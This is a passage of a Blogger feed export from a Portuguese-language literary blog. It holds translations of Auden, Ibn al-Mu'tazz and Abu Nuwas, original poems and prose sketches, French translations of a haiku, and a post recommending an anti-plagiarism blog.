on the other,</span><br /><span style="font-style: italic;">The sea it was blue and the grass it was green,</span><br /><span style="font-style: italic;">Every star rattled a round tambourine;</span><br /><span style="font-style: italic;">Ten thousand miles deep in a pit there I lay:</span><br /><span style="font-style: italic;">But you frowned like thunder and you went away.</span><br /><br /><br />W. H. Auden, em <span style="font-style: italic;">Tell me the truth about love</span> (Vintage Books, 1994)<br />Trad. J. C. P.Jean Cristtus Portelahttp://www.blogger.com/profile/07833112468756359280noreply@blogger.com3tag:blogger.com,1999:blog-33038612.post-37627495448516931612009-03-04T02:08:00.008-03:002009-03-04T02:32:00.358-03:00A praga do plágio<div style="text-align: center;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://naogostodeplagio.blogspot.com/"><img style="cursor: pointer; width: 150px; height: 60px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGZk1UWfW8kW7L_LM921nQmwws51_82Rx8sRvCQcoKi_NE0cWeuKR6Ae5VPXkM_kY7bDulyN7aLMEXyDt2NmwZRbeheqKWGKYd0z1Fr_dh6IlsENO67rK2ljxgSNogfMwP_0QBzg/s400/n%C3%A3o+gosto+de+pl%C3%A1gio.jpg" alt="" id="BLOGGER_PHOTO_ID_5309197997156057410" border="0" /></a><br /></div><br /><div style="text-align: justify;">Não tenho o hábito de comentar aqui os blogs de que gosto, mas o caso de <a href="http://naogostodeplagio.blogspot.com/">Não gosto de plágio</a>, de Denise Bottmann, é especial tanto por sua "utilidade pública" quanto pela pertinência e gravidade das denúncias que faz.<br /></div><br />Garimpando e cotejando plágios de tradução das mais (in)suspeitas editoras brasileiras (em livros que abarrotam as prateleiras e gôndolas mais próximas!), Denise segue descendo o reio na canalha que, à luz de nossas lâmpadas trêmulas e óculos contorcidos, rouba traduções consagradas e picota clássicos.<br /><br />Eis um material que merece uma leitura demorada - leitura que se converte em prazer e pasmo a cada post.Jean Cristtus Portelahttp://www.blogger.com/profile/07833112468756359280noreply@blogger.com1tag:blogger.com,1999:blog-33038612.post-12467740677932280962009-03-02T01:48:00.006-03:002009-03-02T02:09:12.831-03:00Poemas de Ibn al-Mu'tazz<div style="text-align: center;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.gay-art-history.org/gay-history/gay-art/gay-iranian-art/riza-i-abbasi-ghilman.html"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 247px; height: 375px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnjzVWbMrwQogkdlG70djmrBi23ifPjwkGyj76kXX7ryFfFgt3VIBS-3A0yjCySEYvvqv33D1VH27JONz9bFo2cNt1X0bqoJ4d1eIgaYd_D6xgpsC7EwlGHU3LmGx-1vd40ChneA/s400/twolovers72002.jpg" alt="" id="BLOGGER_PHOTO_ID_5308448046304029362" border="0" /></a><span style="font-weight: bold;font-size:85%;" >"Dois amantes", pintura de Riza-i Abbasi (1565-1635).</span><br /></div><br /><br /><br /><br /><span style="font-weight: bold;">AMEAÇA</span><br /><br />Branca gazela cuja beleza nos fascina,<br />olhos que fingem dormir...<br /><br />Ah! O ferrão ameaçador do escorpião sobre sua fronte,<br />eriçado, bem perto das rosas do seu rosto.<br /><br /><br />*<br /><br /><br /><span style="font-weight: bold;">PRECE</span><br /><br />Ó, Deus, se dele não posso ter o abraço<br />e se alegria não há depois de sua longa recusa,<br /><br />cura o mal que sinto ao encontrar seus olhos,<br />e que uma longa barba envolva seu rosto! (1)<br /><br /><br />*<br /><br /><br /><span style="font-weight: bold;">VINHO PURO</span><br /><br />Alguém diria que o vinho puro<br />foi extraído de suas faces<br />e que as uvas se oferecem a quem as colhe<br />na sombra cacheada dos seus cabelos.<br /><br />Quando eu o contemplo, meus olhos<br />se esquecem de piscar:<br />E se arregalam<br />de espanto maravilhado!<br /><br /><br />*<br /><br /><br /><span style="font-weight: bold;">PUDOR</span><br /><br />Quando me via se enrubescia de vergonha<br />como se sobre sua face eu tivesse deixado cair<br />a flor rubra da romã.<br /><br /><br /><br />IBN AL-MU’TAZZ (861-908), em <span style="font-style: italic;">La Poésie arabe </span>(Phébus, 1995)<br />Trad. J. C. P.<br /><br />_______________________<br /><br />(1) Ibn al-Mu'tazz era um grande admirador de rostos imberbes.Jean Cristtus Portelahttp://www.blogger.com/profile/07833112468756359280noreply@blogger.com1tag:blogger.com,1999:blog-33038612.post-92019644591580474462009-02-28T05:13:00.006-03:002009-03-02T02:11:12.499-03:00Ele<div style="text-align: center;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://en.wikipedia.org/wiki/Abu_Nuwas"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 242px; height: 305px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcXxi1g7fRqtxt06vAs3J7_K5Z_nBwNRElJxqZAtMuymEe9eqhnJR6yv03M2X4mEkSMZR7aO_x6NsYO9jFJZDIsxLEhTIeKWLNgnZzgyOPoFCXwPglfbI6GdYfo11dQZIPPCpuGw/s400/abu_nuwas.gif" alt="" id="BLOGGER_PHOTO_ID_5307758505986265490" border="0" /></a><span style="font-weight: bold;font-size:85%;" ><br />Abu-Novás por Kahlil Gibran.</span><br /></div><br /><br /><br /><br /><span style="font-weight: bold;">OBJETO DE INSPIRAÇÃO</span><br /><br />Melhor que o teor<br />de todas as inteligências,<br />melhor que uma cidade<br />que o tempo fez perecer,<br /><br />melhor que as ruínas<br />das quais o século prolongou a existência<br />para que as lágrimas e a tristeza<br />aí pudessem fluir comodamente:<br /><br />uma gazela macho – cujo olhar<br />cobriu de descrédito<br />todas as outras –<br />ternamente sonolenta<br />como estupefata por sua própria beleza.<br /><br />O sol – pura claridade<br />sobre uma vastidão de dunas<br />isentas de qualquer impureza – quando ele se põe<br />atrás de um ramo forrado de folhas,<br />não se mostra seu igual?<br /><br /><br />Abu-Novás (750–810), em <span style="font-style: italic;">La Poésie Arabe</span> (Phébus, 1995)<br />Trad. J. C. P.Jean Cristtus Portelahttp://www.blogger.com/profile/07833112468756359280noreply@blogger.com0tag:blogger.com,1999:blog-33038612.post-86236758013791747022009-02-26T04:23:00.002-03:002009-02-26T04:40:08.195-03:00Da série "Ensaios para montar" [4]<div style="text-align: justify;"><span style="font-weight: bold;">Os dois passos</span><br /><br />Chegou-lhe aquele ímpeto de onde vem o poema, mas as palavras não se fixavam. Havia pensamento, mas não havia palavra. O silêncio preside muitos desses momentos – era só o que não parava de pensar. E quando pensou com essas palavras, soube à procura do que estava.<br /><br />O primeiro passo seria fixar o pensamento, fazer com que da substância delicada das possibilidades brotasse uma metade de metade de concha trazida pelo mar, talhada na extremidade, róseo osso rendado de limo. Ou um caco de garrafa em que um dia se colocou uma mensagem que foi encontrada. Ou um fio de seda tingido de lilás, enrolado em um fio não tingido.<br /><br />O segundo passo seria erguer o olhar, inflamar-se, capitular e escrever. E caso daí não saísse palavra, que saísse ao menos um pensamento que respondesse à gravidade da palavra.<br /><br /> Isso porque, por puro azar e contra todas as expectativas, a forma do poema jamais é dada de antemão.<br /><br /><br />J. C. P.<br />agosto de 2008/ fevereiro de 2009</div>Jean Cristtus Portelahttp://www.blogger.com/profile/07833112468756359280noreply@blogger.com0tag:blogger.com,1999:blog-33038612.post-19840519816993982352009-02-23T05:39:00.003-03:002009-02-23T05:48:57.577-03:00Ensaios para montar [3]Da série "Ensaios para montar": anotação de uma conversa com M.<br /><br /><br /><span style="font-weight: bold;"><br />TODA FUMAÇA É BEM-VINDA</span><br /><br />Toda fumaça é bem-vinda, também<br />a brasa quase precipitada, cinza que aterrissa.<br /><br />O papel, o fumo que nele deitamos, os instrumentos<br />de fogo que sucedem à espera e<br />a conversa no tempo de um cigarro<br />(até que a ousadia encontre um maço)<br />são a sintaxe mínima da súplica -<br /><br />Daquele que traga, alonga, sopra, suspira,<br />fuma melhor que respira.<br /><br /><br />J. C. P.<br />fevereiro de 2009Jean Cristtus Portelahttp://www.blogger.com/profile/07833112468756359280noreply@blogger.com2tag:blogger.com,1999:blog-33038612.post-77721432306366288242009-02-21T16:50:00.005-03:002009-02-21T17:37:00.337-03:00Variations BrandãoJ’aime bien les défis ratés d’avance. L’impossible ne chante pour moi que de la douce musique des poèmes difficiles à traduire.<br /><br />Mon ami José Carlos Mendes Brandão, poète et romancier brésilien, a écrit cet ascétique haïku :<br /><br /><span style="font-style: italic;">O arco-íris<br /></span><span style="font-style: italic;">atrás das grades</span><span style="font-style: italic;"><br /></span><span style="font-style: italic;">chora sobre a cidade.</span><br /><br />Je vous en propose en français cinq versions:<br /><br /><br /><span style="font-weight: bold;">Version rangée [#1]</span><br /><br />L’arc-en-ciel<br />derrière les grilles<br />pleure sur la ville.<br /><br /><br /><span style="font-weight: bold;">Version assortie [#2]</span><br /><br />L’arc-en-ciel<br />au-delà des grilles<br />pleure sur la ville.<br /><br /><br /><span style="font-weight: bold;">Version surréaliste [#3] </span><br /><br />L’arc-en-ciel<br />derrière les barreaux<br />pleure sur mon chapeau.<br /><br /><br /><span style="font-weight: bold;">Version surréaliste franco-brésilienne [#4]</span><br /><br />L’arc-en-<span style="font-style: italic;">ciel</span><br />derrière les barreaux<br />pleure sur mon <span style="font-style: italic;">chapéu</span>.<br /><br /><br /><span style="font-weight: bold;">Version surréaliste stricto sensu [#5]</span><br /><br />L’arc-en-larmes.Jean Cristtus Portelahttp://www.blogger.com/profile/07833112468756359280noreply@blogger.com2tag:blogger.com,1999:blog-33038612.post-37929240386867097962009-02-20T01:57:00.002-03:002009-02-20T23:44:05.681-03:00La bêtise démultipliéeDevant la rudesse de la boutade:<br /><br /><span style="font-style: italic;">L'Europe est une bêtise pleine de musées</span>.<br /><br />(Nelson Rodrigues [1912-1980], écrivain brésilien),<br /><br />Monsieur Naje a fait remarquer le paradoxe:<br /><br /><span style="font-style: italic;">C'est davantage la bêtise sous-développée qui se nourrit des musées de l'Europe.</span><br /><br />(P. C. Naje [1917-1992]).Jean Cristtus Portelahttp://www.blogger.com/profile/07833112468756359280noreply@blogger.com0tag:blogger.com,1999:blog-33038612.post-83057347207609516182009-02-16T01:39:00.004-03:002009-02-18T17:42:36.023-03:00Lustrar a palavra<div style="text-align: justify;">O hoje esguio e depilado e sempre arredio e maledicente G. – que depois se revelaria M. e que, um pouco mais adiante, iria se revelar um tolo – disse-me não gostar de falar certas palavras por considerá-las excessivamente gays: – <span style="font-style: italic;">Evito até pronunciá-las, você não percebe como elas deformam o rosto?</span> E seu rosto justamente se iluminava de uma careta de lascívia e dor que deixava, a despeito do recato histericamente alardeado, entrever um prazer compulsivo em simplesmente pensar nas palavras proibidas.<br /><br />Minha primeira reação, depois de tossir para ganhar tempo e de cruzar um pouco mais os braços para conter meu interesse crescente por esse sintomão que se apresentava diante de mim como uma dessas plantas carnívoras de desenho animado, cuja exuberância dentada de más intenções e de lábios e recônditos escandalosamente vermelhos faz pender de cada pestilo contorcido uma gosma delatora, foi: – <span style="font-style: italic;">Sério?</span><br /><br /><span style="font-style: italic;">Seríssimo!</span> – sibilou G. visivelmente indisposto com a minha resposta – E<span style="font-style: italic;">u não me atreveria, por exemplo, dizer que estou CHO-CA-DO...</span><br /><br />Na hora, pego de surpresa, convulsionei o esgar daqueles que imploram de joelhos que se mude de assunto e argumentei que não via nada demais na palavra “chocado”, que essa palavra em si não me parecia especificamente gay, blá-blá-blá.<br /><br />Pobre G.! Nessa ocasião P. C. Naje nunca me pareceu tão preciso: “Um vício: cera tão eficaz quanto supérflua que torna as palavras sempre lustrosas independentemente das mãos que as lustram”.</div>Jean Cristtus Portelahttp://www.blogger.com/profile/07833112468756359280noreply@blogger.com1tag:blogger.com,1999:blog-33038612.post-56013831654043420862009-02-10T02:30:00.002-02:002009-02-23T05:50:28.483-03:00Ensaios para montar [2]Ainda a série "Ensaios para montar"...<br /><br /><br /><span style="font-weight: bold;"><br />A DESCRIÇÃO DE UM RAPAZ</span><br /><br /><br />Se, por encomenda, me fosse o caso de descrever<br />um rapaz, pergunto-me por onde começaria<br /><br />um rapaz gaiato e atemporal; no material, poroso mas compacto<br />e cromado; na estrutura, articulado, portátil, porém estável<br /><br />seria o rapaz que teria minha predileção analítica<br />(Vã espera: na encomenda a fortuna não é compulsória<br /><br />Sequer obrigatória). Algo que é preciso aceitar<br />quando se exerce a especialidade, essa arte de registrar:<br /><br />arte de descrever rapazes, de encontrar a frase<br />que desentranhará o fundo da forma, a substância.<br /><br />Um desafio seria a variedade de rapaz<br />já que ninguém por princípio ignora<br /><br />que a espécie dos rapazes é grande em número<br />nos cinco continentes e extramuros.<br /><br />E como seria lastimável prescindir<br />da observação direta e indireta<br />da coleta explícita e sorrateira e<br />do contato não assistido e de<br />explorações ulteriores com e sem sonda!<br /><br />Sempre o dilema: por onde começar?<br />Por sua ossatura ou por sua ergonomia?<br /><br />Por seu revestimento ou por sua aderência?<br />Começar logo pelo estofo, medindo-lhe a luminescência,<br /><br />talvez fosse o mais acertado, ainda que mais comercial<br />(Idéia que desagrada o outsider, o misantropo, o animal,<br /><br />O debochado, o desregrado, o indiferente que eu quis ser)<br />Mas ao menos garantiria um prólogo difícil de esquecer.<br /><br /><br /><br />J. C. P.<br />janeiro de 2009Jean Cristtus Portelahttp://www.blogger.com/profile/07833112468756359280noreply@blogger.com3